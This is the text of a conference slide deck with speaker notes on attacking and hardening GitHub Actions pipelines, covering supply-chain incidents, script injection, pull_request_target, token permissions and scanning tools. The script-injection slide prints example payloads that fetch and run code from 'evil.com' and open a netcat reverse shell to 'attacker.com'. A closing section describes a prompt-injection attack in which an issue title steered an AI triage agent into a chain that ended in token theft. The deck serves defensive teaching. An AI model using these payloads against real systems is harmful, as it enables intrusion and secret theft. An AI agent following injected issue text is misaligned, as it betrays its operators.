Beyond the Commit

Weaponizing and Hardening GitHub Actions



Niek Palm

📷 Slides & Demos 📷

Slides QR Code
Niek Palm

Niek Palm

Principal Engineer Philips

🔗 Software Supply Chain

Software Supply Chain

⚠️ Why It's a Prime Target

  • Compromise once, deploy everywhere
  • Massive multiplier effect
  • Trusted relationships exploited
  • Hard to detect before it's too late

💥 Supply Chain Attacks in the Wild

🐎

XZ Utils Backdoor

2024

A contributor spent 2+ years gaining maintainer trust, then injected a backdoor targeting OpenSSH on every Linux server. Caught by a developer who noticed a 500ms SSH slowdown

tj-actions/changed-files

2025

Attackers compromised maintainer bot token, manipulated version tags to point to malicious commits, exfiltrating CI/CD secrets from 23,000+ repositories using this popular GitHub Action

🎭

S1ngularity (Nx)

2025

Exploited pull_request_target injection to steal npm token, published malicious Nx packages, weaponized AI tools for secrets exfiltration, exposed 1000s of secrets and private repos

🪱

Shai-Hulud 2.0

2025

Massive npm supply-chain campaign compromising 700+ packages from Zapier, PostHog, Postman. Preinstall malware exfiltrated secrets across 25,000+ GitHub repos, spreading at 1,000 repos per 30 minutes

🤖 What is GitHub Actions?

"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."

🤖 What is GitHub Actions?

🏃‍♂️ Runners

  • GitHub-hosted or self-hosted
  • Multiple OS support (Linux, Windows, macOS)

🚀 Jobs & Steps

  • Jobs: Isolation level - independent units
  • Steps: Individual tasks within a job
  • Run sequentially or in parallel

⚙️ Example workflow

name: GitHub Actions Example

on: [push, pull_request]                           # 1

jobs:
  build:
    runs-on: [ubuntu-latest]                       # 2
    
    steps:
    - name: Checkout code
      uses: actions/checkout@v5                    # 3
        
    - name: Install dependencies
      run: npm ci                                  # 4
      
    - name: Run tests
      run: npm test                                # 4

🔍 What's happening?

  1. Trigger: on push or pull_request
  2. Runner: GitHub hosted fleet
    ubuntu-latest
  3. Third party action: checkout@v5
  4. Run script: npm ...

🧱 What is a GitHub Action?

🧱 LEGO Bricks in Your Pipeline

  • Building blocks you snap together
  • Each action does one thing well
  • Combine them to build complex workflows

⚡ Available Runtimes

  • Node.js - JavaScript actions
  • Docker - Containerized actions
  • Shell - Composite run steps

🎯 Run in Context of a Job

  • Actions execute as steps within jobs
  • Share the same runner environment
  • Access job-level variables and secrets

📦 Distribution Channel

  • GitHub Repository or Package - Distribution method
  • Reference: owner/repo@version
  • Can be public or private

🚀 Actions Everywhere

From development to deployment - GitHub Actions powers our entire software lifecycle

🏗️

Build & compile code

🐳

Build containers

🧪

Run unit tests

🎭

Run E2E tests

🛡️

Security scanning

🔍

Code quality checks

📦

Publish packages

☁️

Deploy to cloud

🔄

Manage infrastructure

🚀

Release automation

📚

Generate docs

🌐

Deploy static sites

🔄

Update dependencies

🏷️

Tag & version

🤖

Automate workflows

📊

Generate reports

📧

Send notifications

🔐

Manage secrets

🎯

Issue triage

🌍

Multi-platform builds

PART 1

WEAPONIZE

Understanding the attack surface
💉 🎯 🔓 💥

🎯 Why target GitHub Actions?

GitHub Actions Target
  • 📂 Source Code Access
  • 📦 Publishing Packages
  • 🔐 Secrets & Credentials

🤔 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🔥 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4.0.0
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45.0.7
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🎯 Repository takeover

🚀 Push Malicious Code

✨ Create Releases

🏷️ Rewrite Tags

Repository Takeover Attack

✅ Secure third-party actions

🔒 Lock SHA

🔍 Verify Integrity

🤖 Manage with Dependabot

🛡️ Minimal Privilege

name: Secure Workflow

on: [pull_request]

jobs:
  secure-build:
    runs-on: ubuntu-latest
    steps:
      # SHA-pinned action for security
    - uses: actions/checkout@08c690...      # v5.0.0 ← SECURE
    
    - name: Get changed files
      # SHA-pinned action for security
      uses: tj-actions/changed-files@24d32f... # v47 ← SECURE
      
    - name: Process changes
      ...

🔐 Trust Patterns for Third-Party Components

🎯 How to Trust

  • Lock to tag - Mutable (@v1.2.3)
  • Pin to SHA - Immutable (@a1b2c3d)
  • Fork and own - Full control, your maintenance
⚠️ Lock third-party component (Docker, PyPI, NuGet ...)

🔍 What to Assess

  • Maintenance - Active development?
  • Permissions - What access needed?
  • Dependencies - What does it use?
  • Reputation - Verified creator?
  • Security track record - Past issues?
  • Scan - Automated analysis
💡 Use OSSF Scorecard

🤔 What can go wrong?

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

🔥 Script injection attack

💀 Malicious title

Hello"; curl evil.com/backdoor | bash; echo "

� What Happens

echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""

Commands executed on your runner!

💀 Malicious description

Test"; nc attacker.com 4444 -e /bin/bash; echo "

� What Happens

echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""

Opens reverse shell to attacker!

Script injection

🔐 Secret theft

💉 Malicious injection

🏗️ Compromised infrastructure

Part of

Shai-Hulud 2.0
Supply Chain Attack

github.event.issue.title
github.event.issue.body
github.event.pull_request.title
github.event.pull_request.body
github.event.comment.body
github.event.review.body
github.event.commits.*.message
github.event.head_commit.message
github.event.head_commit.author.email
github.event.commits.*.author.email
github.event.pull_request.head.ref
github.event.pull_request.head.label
github.head_ref
github.event.commits.*.author.name
github.event.head_commit.author.name

⚠️ User input ⚠️

👉 Always sanitize user input 👈

✅ Use intermediate environment variable

env:
  TITLE: ${{ github.event.issue.title }}
steps:
  - run: echo "$TITLE"
User Input Security

✅ The safe way

name: Discussion Create
on:
  discussion:
jobs:
  process:
    runs-on: self-hosted
    env:                                                    
      DISCUSSION_BODY: ${{ github.event.discussion.body }}.   # ← NEW
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo $DISCUSSION_BODY                            # ← CHANGED

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:

jobs:
  build:
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:  # ← DANGEROUS!

jobs:
  build:
    # Ineffective condition!
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        # untrusted code in trusted environment!
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        # Secrets exposed!
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      # Injection!
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

Nx "s1ngularity" attack

🔐 Secret theft

👁️ Private source code exposed

🎯 Secrets and private sources

🚀 1000s secrets leaked

👥 480 users published private repositories

🏷️ 500 repos from a company exposed

Repository Takeover Attack

🔥 The pull_request_target Problem - Still Real

# DON'T DO THIS!
on: pull_request_target  # ← Runs in trusted context

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3
      with:
        # ← Untrusted code!
        ref: ${{ github.event.pull_request.head.sha }} 

✨ GitHub Update (Dec 8, 2025)

pull_request_target now always uses the default branch for workflow source, preventing outdated workflows from being executed. Note: This only limits the attack surface but doesn't eliminate the risk.

⚠️ Critical Security Issue

You are giving write permissions and secrets access to untrusted code. Any building step, script execution, or action call could be used to compromise the entire repository

🎯 Attack Vectors: Six Real Exploits

All exploited: pull_request_target + untrusted input

Hackerbot-Claw • THIS WEEK
awesome-go (140k)
Go init() poisoning
Auto-execute on import, steal GITHUB_TOKEN, exfiltrate private repos
trivy (25k)
Action injection
Inject malicious payload in workflow steps, delete releases, poison artifacts
RustPython (20k)
Branch name injection
Base64 in git push, command substitution, partial code execution
Microsoft AI Agent
Branch name injection
Payload in bash eval from git ref, RCE with full repository permissions
DataDog IaC Scanner
Filename injection
Base64 payload in filenames, trigger build-time code execution
project-akri
Script injection
Shell command injection in build scripts, execute arbitrary code with repo access

Source: StepSecurity.io (1 Mar 2026)

🗄️ Cache Poisoning Risk

Cache Poisoning Attack

⚠️ Caches Are Shared

  • Pull requests can access caches from the base branch
  • Attackers can create poisoned caches that persist and affect subsequent builds

🔥 Critical: Release Workflows

Never rely on caches for security-sensitive workflows like building releases or deploying to production. A poisoned cache can inject malicious code into your build artifacts.

🔥 Implicit GitHub token problem

name: Deploy Package

on: [push]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags

🔑 Implicit Broad Access

GitHub injects a short lived token into your workflow. Default permission depending on settings.

💀 What Can Go Wrong

Malicious code can modify your repository, create releases, delete branches, access secrets, and compromise your entire codebase.

✅ Explicit GitHub token permissions

name: Deploy Package

on: [push]

permissions: {} # no permissions by default
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read # read-only access to repository
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags # fails - no write permissions!

🛡️ Principle of Least Privilege

Default to no permissions and grant minimal required access on job level.

✅ Better Security

Failed operations are better than compromised repositories. Add specific permissions only when needed.

🔥 The problem with long-lived secrets

📋 Rotate to expire

💥 High Blast Radius

jobs:
  deploy-with-keys:
    runs-on: ubuntu-latest
    environment: demo

    steps:
      - name: Checkout code
        uses: actions/checkout@...

      - name: Set up AWS
        uses: aws-actions/configure-aws-credentials@...
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

✅ OIDC short-lived secrets

⏰ Short-lived tokens)

🔄 Automatic rotation per run

jobs:
  deploy-with-oidc:
    runs-on: ubuntu-latest
    environment: demo
    permissions:
      id-token: write

    steps:
      - name: Configure AWS with OIDC
        uses: aws-actions/configure-aws-credentials@...
        with:
          role-to-assume: arn:aws:iam::123:role/minimal-access-role
// AWS Trust Policy

"Statement": [{
  ...
  "Principal": {
      "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
      "StringEquals": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"],
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  ...

✅ Keep secrets safe

🔒 Environment as Boundary

  • Environments create boundaries for secrets
  • Jobs only access assigned environment secrets
  • Protection rules (reviewers, branches, timers)
  • Principle of least privilege
jobs:
  deploy-production:
    environment: production
    runs-on: ubuntu-latest
    steps:
    - name: checkout code
      uses: actions/checkout@v5

    - name: Deploy to production
      env:
        API_KEY: ${{ secrets.PROD_API_KEY }}            
      run: deploy.sh production

🎯 OIDC Best Practices

  • Keep jobs minimal and focused
  • Avoid third-party actions with OIDC jobs
  • Actions inherit GITHUB_TOKEN permissions
  • Strict trust relationships - no wildcards

❌ WRONG

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-org/project-*",                        
  }
}

✅ GOOD

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-rog/project-x:environment:production",
  }
}

🪱 Shai-Hulud 2.0: The Supply Chain Tsunami

Shai-Hulud 2.0 Attack Flow

💥 Shai-Hulud 2.0 Impact

1,195+
Distinct orgs (banks, government bodies, and Fortune 500)
25,000+
Malicious repositories created for exfiltration
700+
NPM packages infiltrated with malicious code
33,000+
Unique secrets exposed (GitHub PAT, Cloud, ...)
Sources: Entro (organizations), Wiz (repos & packages), GitGuardian (secrets)
PART 2

HARDEN

Securing your pipeline
🛡️ 🔐 🔍

🔄 Security patterns for GitHub Actions

We've explored common security risks and their solutions

📦

Third-Party Actions

❌ Floating tags can be hijacked

✅ Pin to SHA + use Dependabot

💉

Script Injection

❌ User input directly in run commands

✅ Use environment variables

🎯

Dangerous triggers

❌ Untrusted code + write permissions

✅ Extreme caution with non controlled triggers

🔑

GitHub Token and Secrets

❌ Avoid long lived secrets

✅ Explicit least-privilege permissions

🛡️ Protect by configuration

Allow list for trusted actions

📌

Enforce SHA pinned actions

🔐

Drop GITHUB_TOKEN to read-only permissions

🚫

Be cautious with write tokens in a PR

🔍 GitHub Advanced Security

🛡️

Scan Actions with GHAS

👀

Review GitHub Actions do not blindly trust

🔓

Unlock GHAS power for secrets & multi-language protection

🔓 Open source static analyzers for GitHub Actions

Community-driven tools to enhance your GitHub Actions security

Zizmor

A dedicated linter for GitHub Actions that provides comprehensive security rules and integrates seamlessly into CI/CD workflows.

Security Focus

🛡️

Checkov

An Infrastructure as Code (IaC) security scanner that analyzes cloud infrastructure configurations to identify and fix security policy violations.

IaC Security

🔍

Action Lint

A general-purpose linter for GitHub Actions workflows focused on syntax validation and ensuring best practices are followed.

Syntax & Quality

🔧 Zizmor static analysis for GitHub Actions

📋

Extensive rule set for comprehensive scanning

⚙️

Highly configurable to fit your needs

🔗

Integrates with GHAS seamlessly

🛠️

Use with CLI, IDE, pre-commit or Actions

🎬 Demo

⚡ ZIZMOR IN ACTION ⚡

Static analysis for GitHub Actions workflows — from insecure workflows to hardened pipelines

Demo QR Code

Scan to follow along — demo repo

Powered by Demo Time

🏛️ OpenSSF & Supply Chain Integrity

The Open Source Security Foundation (Linux Foundation) provides frameworks and tools to secure the software supply chain

📊

OpenSSF Scorecard

Automated security health checks for open source projects. Scores 17 risk areas: pinned dependencies, branch protection, dangerous workflows, token permissions, and more.

Runs as a GitHub Action

🔏

SLSA Framework

Supply-chain Levels for Software Artifacts. Defines build provenance requirements across levels 1→3, ensuring artifacts are traceable back to source and build system.

Build Provenance

✍️

GitHub Attestations

Native artifact attestations built on Sigstore. Cryptographically sign build provenance for your artifacts directly in GitHub Actions — verifiable with gh attestation verify.

Sigstore-based

🌐 Universal Security Principles

Not just GitHub Actions — these patterns apply everywhere automation runs

🔗

Trust Boundaries

  • Pin dependencies immutably
  • Verify third-party sources
  • Assume external = untrusted
🔑

Least Privilege

  • Minimal token scopes
  • Short-lived credentials
  • No standing access
🛡️

Defense in Depth

  • Multiple security layers
  • Scan & audit continuously
  • Monitor for anomalies
💉

Input Validation

  • Never trust user input
  • Sanitize before execution
  • Escape special characters
GitHub Actions GitLab CI Jenkins Azure DevOps AI Agents
🐘 ONE MORE THING

AI AGENTS

Old vulnerabilities, new velocity
🤖 🔗 🛡️

🌍 The World is Changing

💻 Classic Development
  • Developer writes every line
  • IDE suggests completions
  • Human reviews all changes
  • Manual tool execution
  • You control the keyboard
🤖 Agentic Development
  • AI writes code autonomously
  • AI executes shell commands
  • AI accesses your systems
  • AI modifies your pipeline
  • You... watch?

The attack surface just got a new operator

🚨 Real World: Cline CLI Attack (Feb 2026)

⚔️ Attack Chain

1
AI agent triages GitHub issues
2
Prompt injection in issue title
3
Cache poisoning plants malicious cache
4
Release workflow restores bad cache
5
NPM token stolen, v2.3.0 hijacked
6
OpenClaw malware on victims

📊 Impact

~4,000
Downloads
8h
Window

💡 Key Insight

"When a single issue title can influence an automated build pipeline, the risk is no longer theoretical. AI agents are privileged actors that require governance."

— Chris Hughes, Zenity

🚀 The Speed Difference

👤 Human Attacker

Hours
to exploit one target

🤖 AI-Assisted

Seconds
to exploit thousands

S1ngularity showed us: AI tools are already being weaponized for secret hunting and mass exploitation

⚡ Same Patterns, Higher Speed

📦 Dependencies

❌ AI installs @latest blindly

✅ Pin versions, verify sources

🔑 Credentials

❌ AI gets broad PAT access

✅ Minimal privilege tokens

💉 Input Trust

❌ AI runs untrusted code

✅ Validate before execution

🧱 Boundaries

❌ AI in full environment

✅ Sandbox, isolate, audit

AI Trust Boundaries

📝 Some topics not covered in detail

⚠️

Third-party action context

Actions run in your trusted context with access to secrets, tokens, and the runner environment

🏠

Self-hosted runner hardening

Run ephemeral, isolate workloads, restrict network access, and avoid persistent state

☁️

GitHub-hosted runners

Ephemeral but unrestricted — jobs can install software, make network calls, and access the internet

📦

Artifact & cache integrity

Artifacts and caches can be poisoned across workflow runs — verify checksums and limit cache scope

♻️

Reusable workflow security

Reusable workflows inherit caller permissions — pin references and audit inherited secret access

🌐

Network egress controls

Runners can reach any endpoint by default — consider network policies to limit exfiltration risk

🔗 Resources and links

QR Code

Scan for resources

Questions

Thank you




Title slide — let it land, audience settles.

Let audience know slides are available. No rush to photograph.

Brief intro: name, Philips, why CI/CD security matters to you. Don't linger.

Compromise once, deploy everywhere. The multiplier effect is what makes SSC attacks devastating.

🐴 XZ Utils (2024) What Happened: A contributor "Jia Tan" spent 2+ years gaining maintainer trust on the xz compression library, then injected a sophisticated backdoor targeting OpenSSH authentication. The backdoor would have compromised virtually every Linux server. Caught by Andres Freund who noticed a 500ms SSH login slowdown. Key Lesson: Trust is the ultimate attack vector. Social engineering over years can bypass every technical control. Open source maintainer burnout creates opportunities for patient attackers. Verify contributors, not just code. ⚡ tj-actions/changed-files (2025) What Happened: Compromised maintainer bot token, manipulated git tags to point to malicious commits. 23,000+ repos using @latest tags automatically pulled and executed malicious code that stole their CI secrets. Key Lesson: Never use floating tags (@latest, @main, @v1) in production. Always pin GitHub Actions to specific commit SHAs. Floating tags = uncontrolled automatic updates = potential automatic compromise. 🎭 S1ngularity - Nx (2025) What Happened: Exploited pull_request_target injection to steal npm token, published malicious Nx packages, which were then auto-installed by AI coding tools (Cursor, Cline), exfiltrating secrets from thousands of developer machines and CI environments. Key Lesson: pull_request_target gives untrusted code write access - extremely dangerous. AI tools amplify attack scale by auto-installing packages. One vulnerable workflow + package registry access = mass compromise at machine speed. 🪱 Shai-Hulud 2.0 (2025) What Happened: Massive npm supply-chain campaign compromising 700+ packages from major projects (Zapier, ENS Domains, PostHog, Postman). Preinstall malware executed during npm install, exfiltrating secrets and tokens across dev machines and CI/CD pipelines. Attack spread rapidly at ~1,000 new repos every 30 minutes, affecting 25,000+ GitHub repositories across ~500 users. Stolen data was cross-published, meaning victim credentials appeared in unaffiliated GitHub accounts. Key Lesson: Preinstall hooks can execute before your code even runs - widening attack surface to both dev and CI/CD environments. The scale and automation of modern supply chain attacks is unprecedented. With 27% of cloud environments potentially exposed, even popular, trusted packages can be weaponized. Immediate investigation required for npm-based environments. Meta-lesson across all four: Supply chain attacks exploit trust and automation. The things that make development fast (auto-updates, trusted dependencies, CI/CD automation) become attack vectors when compromised. Defense requires: pin versions, minimize trust, verify everything, and monitor the entire dependency chain.

Walk through all 4 briefly. Don't deep-dive — you revisit tj-actions, S1ngularity, and Shai-Hulud later. Transition: "These attacks all targeted CI/CD."

Quick level-set. Most audience knows Actions — just framing.

Jobs = isolation boundary. Steps share runner environment — that matters for security.

Walk through 4 elements. Highlight: checkout@v5 is a trust decision — a third-party action running in your context.

LEGO bricks: building blocks. Key point: actions run IN your job context — they get your secrets, tokens, and runner.

Quick scan of the grid. Actions touch everything. Transition: "So what happens when they get compromised?"

==================== PART 1: WEAPONIZE ====================

Transition slide — pause briefly, advance.

Three reasons: source code access, package publishing, secrets. Pipelines are the nexus of all three.

Ask: "What's wrong here?" Uses @v45 — a mutable tag.

Even pinned to @v45.0.7 it's still a tag, not a SHA. Tags can be moved — exactly what happened in the tj-actions attack.

Compromised bot PAT → tag overwritten → 23k repos auto-pulled malicious code. If you control the tag, you control downstream.

Solution: pin to SHA, enable Dependabot for automated updates, verify integrity. Key takeaway for audience.

Trust framework: tag vs SHA vs fork. SHA pinning is the default. Use OSSF Scorecard for third-party assessment.

Ask the audience: spot the vulnerability. Answer: user input in run command → script injection.

Four attack vectors from one injection: reverse shell, secret theft, code manipulation, infra compromise. Powerful demo moment.

Script injection was the entry point for Shai-Hulud. Secrets stolen, code compromised, infra breached.

All event fields shown are attacker-controlled. Never use directly in run commands.

Fix: assign to env var first, then reference as shell variable. Prevents expression injection.

Same workflow, now safe. The DISCUSSION_BODY env var is set at shell level — no expression expansion in the run line.

Ask: what happens on pull_request_target? Secrets exposed + untrusted code checkout + injection. Triple threat.

Spot three issues: pull_request_target + checkout of PR head + secrets exposed + injection in run. This is a triple threat.

Nx s1ngularity: real-world pull_request_target exploit. Secrets leaked, private repos exposed. Feb 2025.

1000s of secrets, 480 users' private repos, 500 repos from one company. Massive real impact.

pull_request_target runs in trusted context with secrets. Checking out PR head = running untrusted code with full access. GitHub's Dec 2025 fix helps but doesn't eliminate risk.

Caches persist across runs. Attacker poisons cache on a PR, subsequent builds on main pick it up. Never trust cache in release pipelines.

Default GITHUB_TOKEN has write-all permissions. If compromised, attacker gets full repo access. Always set permissions explicitly.

Set permissions: {} at workflow level. Add specific permissions per job. Failed is better than compromised.

Long-lived AWS keys in secrets: if leaked, attacker has permanent access. These never expire unless rotated.

OIDC: short-lived tokens, no stored secrets, cloud provider validates claims. Much safer than long-lived keys.

Five best practices: environments for gating, env-level secrets, restrict OIDC claims, rotate regularly, audit access. Tight claim conditions are critical.

Walk through the diagram: script injection → secrets stolen → action takeover → downstream compromise. Everything we discussed in one kill chain.

Real numbers: 218 orgs, 23k repos, 33k secrets. This is the scale of a single supply chain attack.

Transition slide — pause. "Now that we've seen the attacks, let's harden."

Quick recap of the four attack patterns we covered. Each has a clear mitigation.

GitHub org settings: allow-list actions, enforce SHA pinning, drop default token to read-only. Quick wins.

GHAS: CodeQL scans actions too, secret scanning catches leaks, Dependabot updates pinned SHAs.

Three open source tools: Zizmor (security-focused), Checkov (IaC), actionlint (syntax). Zizmor is our top pick.

Zizmor: dedicated GH Actions security linter. CLI, IDE, pre-commit, or as an Action. GHAS integration. DEMO TIME — 10 minutes.

DEMO: Run zizmor against workflows, show findings, GHAS integration. ~10 minutes.

OpenSSF Scorecard for health checks, SLSA for build provenance, GitHub Attestations for Sigstore-based artifact signing. All integrate with Actions.

These principles apply universally — not just GitHub Actions. Least privilege, zero trust, defense in depth, input validation.

==================== BONUS: AI AGENTS ====================

One more thing — same vulnerabilities, but AI agents amplify speed and scale.

Left: traditional dev. Right: agentic. AI writes code, executes commands, accesses systems. Who reviews?

Source: https://www.zenity.io/blog/the-cline-cli-attack-when-ai-coding-assistants-become-attack-vectors/

Cline CLI attack: issue title triggered malicious build via AI agent. 4k downloads in 8 hours. AI agents are privileged actors.

Hours vs seconds. s1ngularity used AI tools for mass secret hunting. Scale changes everything.

Same four patterns apply to AI: pin deps, minimal creds, validate input, enforce boundaries. AI just moves faster.

Six topics for further study — couldn't cover everything today. Great follow-up areas for the audience.

Slides and resources at the QR code. Repo link on screen.

Open the floor. Prepared topics: OIDC details, self-hosted runner hardening, AI agent governance.

Thank the audience. Remind them to scan the QR code.